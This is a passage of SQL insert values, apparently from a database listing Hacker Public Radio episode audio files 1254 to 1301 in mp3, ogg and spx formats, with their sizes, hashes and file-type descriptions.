(1254,'hpr1254.mp3','mp3',2202529,'9f5320a48135e1aa3b58387d647b2ef734909f4d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1254,'hpr1254.ogg','ogg',2378444,'c97b81c5f15e51487a4291a566a93791f6891b6a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1254,'hpr1254.spx','spx',983350,'b9a479e8296256c048ccdff09404a3d059ed6b11','application/ogg; charset=binary','Ogg data, Speex audio'),
(1255,'hpr1255.mp3','mp3',4963545,'c3e25614efd266a4dded05c5a894b92842e2072e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1255,'hpr1255.ogg','ogg',4603252,'047d44e5a9731dcf57d55713a64acdfeae6148d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1255,'hpr1255.spx','spx',2216454,'6275ea1eeea0c707200041062801b3b276065187','application/ogg; charset=binary','Ogg data, Speex audio'),
(1256,'hpr1256.mp3','mp3',9156282,'9920eb4cc65098477e0ba41527e5520e77b6999e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1256,'hpr1256.ogg','ogg',9780320,'aae8f5606046d944175cdc0a9aca443b6dfbfc6f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1256,'hpr1256.spx','spx',4088979,'1ca852ddde0b960ef3cfe056738c36f2f59e73f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1257,'hpr1257.mp3','mp3',5246896,'03470e46e0d359dcad36ffc89dc8c687eca28de4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1257,'hpr1257.ogg','ogg',5920147,'fdbdb799ff4ab367dcb1d95c5caf3c489702512f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1257,'hpr1257.spx','spx',2342982,'709f76d82e2ab75412daacb1d67269d71817b78b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1258,'hpr1258.mp3','mp3',10391809,'499605dc13db248ef0522feb1cfe77bd072863db','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1258,'hpr1258.ogg','ogg',11615496,'807aba0323ebe07587093da6ef49f6cfc2c3045c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1258,'hpr1258.spx','spx',4640749,'239c41581c55bc6c7c564be0a6c0082ed415068c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1259,'hpr1259.mp3','mp3',9763510,'2f37563237a9273941736752146a78e3ff0dc711','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1259,'hpr1259.ogg','ogg',11458939,'e35931cc39d94428d297e0c9d62bc681165fab38','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1259,'hpr1259.spx','spx',4360236,'6952685b48f2a37c34aaef1a0a71498c90cbb48d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1260,'hpr1260.mp3','mp3',5933621,'44602aebd48d66fe22411cc6655b4878cc6b7dc0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1260,'hpr1260.ogg','ogg',6561508,'042364420c339f4f3947f0877e188a37321886c8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1260,'hpr1260.spx','spx',2649703,'745080db55ccee9c2af9242c4eff2616453e5a70','application/ogg; charset=binary','Ogg data, Speex audio'),
(1261,'hpr1261.mp3','mp3',20412769,'26112532041c63d6934483b8bf260384b0bace49','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1261,'hpr1261.ogg','ogg',20373078,'c2a0b2392367671f1b4d31119fb6426ea24b1ed1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1261,'hpr1261.spx','spx',9116192,'48ad4d2113a7159aa0c385a57e2ea78ef29f1fe6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1262,'hpr1262.mp3','mp3',8341669,'7fe2ee1f60d0c23cdc2c187046f9d884df03df8a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1262,'hpr1262.ogg','ogg',8833333,'98933972b64d368f7ebf37a9fa0186047a7b57e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1262,'hpr1262.spx','spx',3725114,'7b805f422bbe1dd9413350b3ff8ac8c72aecdee5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1263,'hpr1263.mp3','mp3',17678084,'39e8dc05db0e3e3d99a2f61f94a26be1556441ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1263,'hpr1263.ogg','ogg',19150242,'ab8150d5262937b25c111c407ce8a5b267316070','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1263,'hpr1263.spx','spx',7894921,'8bd9afe95dc86b79797321027590b189ac438507','application/ogg; charset=binary','Ogg data, Speex audio'),
(1264,'hpr1264.mp3','mp3',26032868,'aa1aff3b2b403008aae99e2a7b33467119543bae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1264,'hpr1264.ogg','ogg',27159907,'32972b0ffa17fa71bd85363c0c828c3c9b9993b6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1264,'hpr1264.spx','spx',11626214,'2ad1aa32e06bd40c6f73e3f055aafbdf484c43f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1265,'hpr1265.mp3','mp3',2384445,'b4505998b433e6ddbd4ce860ed7311f063f3790f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1265,'hpr1265.ogg','ogg',2424487,'d72ff56bb99863327c09ca3cad15b7495318f7cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1265,'hpr1265.spx','spx',1064610,'cb617efdff8100c2ad660e8aa0aee55746341a1f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1266,'hpr1266.mp3','mp3',6702234,'475555823c9fc9035e18455d31a2023c4490c0f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1266,'hpr1266.ogg','ogg',7687358,'0d396e8ca874462d248d4ad9c584b685188326df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1266,'hpr1266.spx','spx',2992960,'e699c5a8ba4010284da9360fa3123d6b5be947fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1267,'hpr1267.mp3','mp3',12181504,'cc3a0e461626ef4e4f3393024ab0e9492c8dfaa9','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1267,'hpr1267.ogg','ogg',13391147,'68c242277ca529ed0c8389e4bbbf5f414f81bc75','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1267,'hpr1267.spx','spx',5440509,'1ff6a2197bdbf983d1b81812c8794c676ce16fea','application/ogg; charset=binary','Ogg data, Speex audio'),
(1268,'hpr1268.mp3','mp3',5665696,'598237e753075e3587619032f858ca1e4416d70f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1268,'hpr1268.ogg','ogg',6110020,'aa2de6c92957693a1f1548f13771c2cc34f9e1e1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1268,'hpr1268.spx','spx',2530009,'479f4b3361da270e7d8de0fbc4357f0ab238637d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1269,'hpr1269.mp3','mp3',17407062,'4c2780c7edc63038f3c8f2c50280593e15c46fd8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1269,'hpr1269.ogg','ogg',19122348,'bbc63330d1a5dbed766b0a562492dd8cb5bce091','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1269,'hpr1269.spx','spx',7773888,'956faff9d13a843bd6bb277c2f5449aee3b247b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1270,'hpr1270.mp3','mp3',20416135,'753302dbce86b029fa54cd5b409a098cec002a46','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1270,'hpr1270.ogg','ogg',22037697,'e333ebf8bbffaf077f65043f57204e4ed4cfa23b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1270,'hpr1270.spx','spx',9117705,'0d503e6f390b593f2e19f8a79d6cbc9c00242286','application/ogg; charset=binary','Ogg data, Speex audio'),
(1271,'hpr1271.mp3','mp3',5366430,'3a4bfd76892e94267383f1360d810c70f582d6ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1271,'hpr1271.ogg','ogg',5986307,'6c6eb02d827cc49ca45d77d17c5447c295ff3349','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1271,'hpr1271.spx','spx',2396438,'88a5b722fd8dd0cf10832e84d8daa0195c3b01d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1272,'hpr1272.mp3','mp3',9809086,'b0ee78199bd1d3c3ee0c3c97ab1ede6a073f1dd8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1272,'hpr1272.ogg','ogg',11783271,'c475c3caba2467c22bd62294c92b8e83d51d5cc2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1272,'hpr1272.spx','spx',4380674,'bdd2ddf1d6b4d5c4af952e7a49dc6b9d8163cab0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1273,'hpr1273.mp3','mp3',4536946,'efbf0a9291de3fe51dba946ed15a053a2c84d3ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1273,'hpr1273.ogg','ogg',4882694,'3f4e552f4a4762794031635647c8e15f8089ccac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1273,'hpr1273.spx','spx',2025920,'b0c567f5f437869c0d3cfbfeb38297e0e60175d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1274,'hpr1274.mp3','mp3',18921747,'97ecdb1b8a33b3dd7b1c2cd560dd40c54a4f4e87','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1274,'hpr1274.ogg','ogg',20253805,'d2d43532d81bb65997c9bcb32e7a0f04ccecc51b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1274,'hpr1274.spx','spx',8450324,'b69bd61963135b93142d6ebfc34b8c569097b051','application/ogg; charset=binary','Ogg data, Speex audio'),
(1275,'hpr1275.mp3','mp3',10356736,'2c085d03b82abc72d7916b8d731614aeaf995326','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1275,'hpr1275.ogg','ogg',11343042,'14973b71f279186f456cb9649c900550fec8a774','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1275,'hpr1275.spx','spx',4625303,'71f67531daaffa3357037967448773de556bfc01','application/ogg; charset=binary','Ogg data, Speex audio'),
(1276,'hpr1276.mp3','mp3',4158748,'d60d78ecef21ef56dfb1c1d806490ff1c1bcf785','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1276,'hpr1276.ogg','ogg',4859055,'b97d64b4483d66cbb0abad10a627a2fea7f268cf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1276,'hpr1276.spx','spx',1857011,'9ef2fb01b8feaec91e687e2f5b4845e60d5e8fe3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1277,'hpr1277.mp3','mp3',17756755,'5d6a4ca4cd861409052c8bc43c9e5bf205f16b2e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1277,'hpr1277.ogg','ogg',18822321,'3a232e485950bae9464028ddce7245b4588e43b9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1277,'hpr1277.spx','spx',7930080,'b00a6834e03e1c43102179b6bf7cd57ac54b50fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(1278,'hpr1278.mp3','mp3',13099548,'b74907d3b03660b409e1af46995dd84f3ebf0063','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1278,'hpr1278.ogg','ogg',14722446,'c965d8e1f04f9999e9983c56872cf0997ca07e6f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1278,'hpr1278.spx','spx',5850090,'f11e32573e50acb4104e35d2973614eff7c8487a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1279,'hpr1279.mp3','mp3',27592440,'e483431915b6e82c3604f34ed00aad06fcfbd430','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1279,'hpr1279.ogg','ogg',22559807,'1c0e529b56b8785612267386d459064d381eeb74','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1279,'hpr1279.spx','spx',12322697,'29f6244f5b642f976befb0445eef5a2f8f088179','application/ogg; charset=binary','Ogg data, Speex audio'),
(1280,'hpr1280.mp3','mp3',7195042,'4543d98db870475cf0869d80fd97d8e3702229b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1280,'hpr1280.ogg','ogg',8507387,'f7c0dc137f552ad9c4ca196a659edca729370771','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1280,'hpr1280.spx','spx',3213103,'efbf78ed37f8ca58feb09f64caf779aaa5d6c164','application/ogg; charset=binary','Ogg data, Speex audio'),
(1281,'hpr1281.mp3','mp3',4436897,'4be2385e976816b35d6314475fc154163bb22a40','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1281,'hpr1281.ogg','ogg',4950655,'d71ef4a23f39074ff0300db1a8637cbeec5daaa9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1281,'hpr1281.spx','spx',1981193,'cedaeb0a5e1367b4e8d7ceb38cbeea8412e09a25','application/ogg; charset=binary','Ogg data, Speex audio'),
(1282,'hpr1282.mp3','mp3',16717400,'962464412abcc38bbb56b26d01980036625160c9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1282,'hpr1282.ogg','ogg',20711469,'643f1598ce351f984b09396a1bcf77976c587a50','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1282,'hpr1282.spx','spx',7465807,'eb603f00448aac0a3123dc64065506f48b4250b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1283,'hpr1283.mp3','mp3',9930791,'14f7b2da4929c66a31fbf8a49727302f29fe9fd1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1283,'hpr1283.ogg','ogg',11787815,'fd0414e6b6514d3601d9840afd615a1ed0625698','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1283,'hpr1283.spx','spx',4434863,'ddc85ebacc8c4bb1344b300894733a85467ec334','application/ogg; charset=binary','Ogg data, Speex audio'),
(1284,'hpr1284.mp3','mp3',19601765,'381a2772a27c7eb1542f138004bb6481f33ea513','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1284,'hpr1284.ogg','ogg',22079433,'e9da2c5385db74ceada8427661deb240fbd550d9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1284,'hpr1284.spx','spx',8754015,'7cc47e7bb8c1ea1957a92939767f370eb8507e0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1285,'hpr1285.mp3','mp3',8636416,'cd804d94cf36ce70c3e804a9b3354e1883d748da','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1285,'hpr1285.ogg','ogg',9438125,'2e60276e091e25546c161a5630f8d82b9b089adf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1285,'hpr1285.spx','spx',3856845,'685be084648ff24eb227e9c587f1322cad2f9755','application/ogg; charset=binary','Ogg data, Speex audio'),
(1286,'hpr1286.mp3','mp3',9024430,'c5258e1bb361d32bbcb545b324c55d2fa2a5616a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1286,'hpr1286.ogg','ogg',10123405,'f53f08a095dc5f60ae6da92b7ef3a9e14d3820eb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1286,'hpr1286.spx','spx',4030038,'efb0920ca79c55038119af3a4267600866694c11','application/ogg; charset=binary','Ogg data, Speex audio'),
(1287,'hpr1287.mp3','mp3',41790338,'008e1cd12887d59cc39c0646a3891d2edb0b0769','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1287,'hpr1287.ogg','ogg',37429202,'70ca67f34e85c8e3eab082c5e79884200b61fe55','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1287,'hpr1287.spx','spx',18663702,'cde4a6fbf3316382b59df4cefcc3ea1fbef225ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(1288,'hpr1288.mp3','mp3',14837603,'44994a095042d91d02cb4b5bd749bb8d53b39dab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1288,'hpr1288.ogg','ogg',12783189,'b79a4e16caae7e3e2cdc661bc1d42be52cdf0e7b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1288,'hpr1288.spx','spx',6626302,'e8593e5ed83bdb67ed6b6e9f8a7aa94d30d650b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1289,'hpr1289.mp3','mp3',6463110,'fd827539bc87034cc24239ba939e77216075929f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1289,'hpr1289.ogg','ogg',7645540,'294842011e9ef9b05c51a00de94bf801fc3fa7e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1289,'hpr1289.spx','spx',2886161,'35401e66857f01948170741e9fceb2a69ff4d3e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1290,'hpr1290.mp3','mp3',12905628,'c58adbc6fc06a25c3b9cd006c5a5502518f5376a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1290,'hpr1290.ogg','ogg',15544977,'648865bc836c7c500f2097501f2346706d72205d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1290,'hpr1290.spx','spx',5763482,'61ecb11620bcf2c4408a2690cf7cf30c8ac6bea9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1291,'hpr1291.mp3','mp3',38665068,'1022eadd6a1588427a7a9cc5b1dc1e50332a0209','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1291,'hpr1291.ogg','ogg',34131923,'1f0922c1ae809706417abc355563fe5aa218157c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1291,'hpr1291.spx','spx',17267934,'ad0d29ce6099028bd06f668a50e8794b34b1c0aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1292,'hpr1292.mp3','mp3',16664518,'494e9da569404a44035c68e41cda68f349b47ba7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1292,'hpr1292.ogg','ogg',17203707,'72ce0486301eb3d7d02355e6935ccd2931abb99b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1292,'hpr1292.spx','spx',7442161,'0d48f6760b5386b779878e62699cf9dd968fab05','application/ogg; charset=binary','Ogg data, Speex audio'),
(1293,'hpr1293.mp3','mp3',10080109,'32b4ebf0c681df64a33818bc63b2fa4f92dbbf36','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1293,'hpr1293.ogg','ogg',9175137,'12fd2a82d806e8d5a2e8fbf70c6d943e5afdbc11','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1293,'hpr1293.spx','spx',4501644,'36ee0df327952bb5623a16e35dd2f88ab7b7ee07','application/ogg; charset=binary','Ogg data, Speex audio'),
(1294,'hpr1294.mp3','mp3',3224628,'937f596751cdea2bc75ceac83a4da86b16025ecb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1294,'hpr1294.ogg','ogg',3613749,'26d38389054a917cf0a1ebf6fd858b852ddbdc17','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1294,'hpr1294.spx','spx',1439862,'b62bb591ad35e985fd5bbae3253e8db3dddacaae','application/ogg; charset=binary','Ogg data, Speex audio'),
(1295,'hpr1295.mp3','mp3',10247295,'b688f089f6239d08f0c74cb8c01b2cb69d921565','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1295,'hpr1295.ogg','ogg',11220931,'a5187ac171a22e31a50f06cdd40395551384a70b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1295,'hpr1295.spx','spx',4576313,'e972a3fc15f91729b0906e700f238fb762a68472','application/ogg; charset=binary','Ogg data, Speex audio'),
(1296,'hpr1296.mp3','mp3',10111375,'ec377ea093422357eff718d25d853ce6113a5c6e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1296,'hpr1296.ogg','ogg',10474580,'1770bd63fe3a64e56b0c115eb76213d3b19c9d87','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1296,'hpr1296.spx','spx',4515559,'4901922929c9879d98c11df21f52a529b94c32f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1297,'hpr1297.mp3','mp3',11379177,'279021800fa20b8555a8817332070033c0a2cd34','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1297,'hpr1297.ogg','ogg',11889556,'223ec065c0676f914f71d4544a396eb802b7eb8c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1297,'hpr1297.spx','spx',5081888,'cb8ac0458b97d4d1a72044d3fb3623aced4b9420','application/ogg; charset=binary','Ogg data, Speex audio'),
(1298,'hpr1298.mp3','mp3',9293379,'2215c93733e9a4eaf34d746b6613c2e2b5ac6650','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1298,'hpr1298.ogg','ogg',10438350,'db30d500ca7638c0105db4be5af2c5de77d9b552','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1298,'hpr1298.spx','spx',4150166,'9560c507e3560eb8912f3191cf54d7afdcd2cae9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1299,'hpr1299.mp3','mp3',4352065,'689c5e5259b0ca3db7e636bab6c124520ff17f64','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1299,'hpr1299.ogg','ogg',4986543,'292bc1c321128ff491d549ba3449c237894698ab','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1299,'hpr1299.spx','spx',1943402,'57ccf5a5dece9b2b20bccd2358941b03c78b1be3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1300,'hpr1300.mp3','mp3',8973164,'9a6f801e9cd8e8275183e1d8a77c842b659f2b85','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1300,'hpr1300.ogg','ogg',7554945,'96fce49501b4c0a94d7886aaa1634c19bb52a0db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1300,'hpr1300.spx','spx',4007162,'ee1eb43ed863ceec36ca75405bad2e49a691398d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1301,'hpr1301.mp3','mp3',26072575,'3a7fd4311e9103729cda8cde7988a94fecf2a631','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1301,'hpr1301.ogg','ogg',29917735,'7dcbe2df8ecb7dd821a5e08f96f0305f2fd3eea7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1301,'hpr1301.spx','spx',11643929,'7b5ca9b8c00bc735d0c800329f3cf08d0c2f062a','application/ogg; charset=binary','Ogg data, Speex audio'),
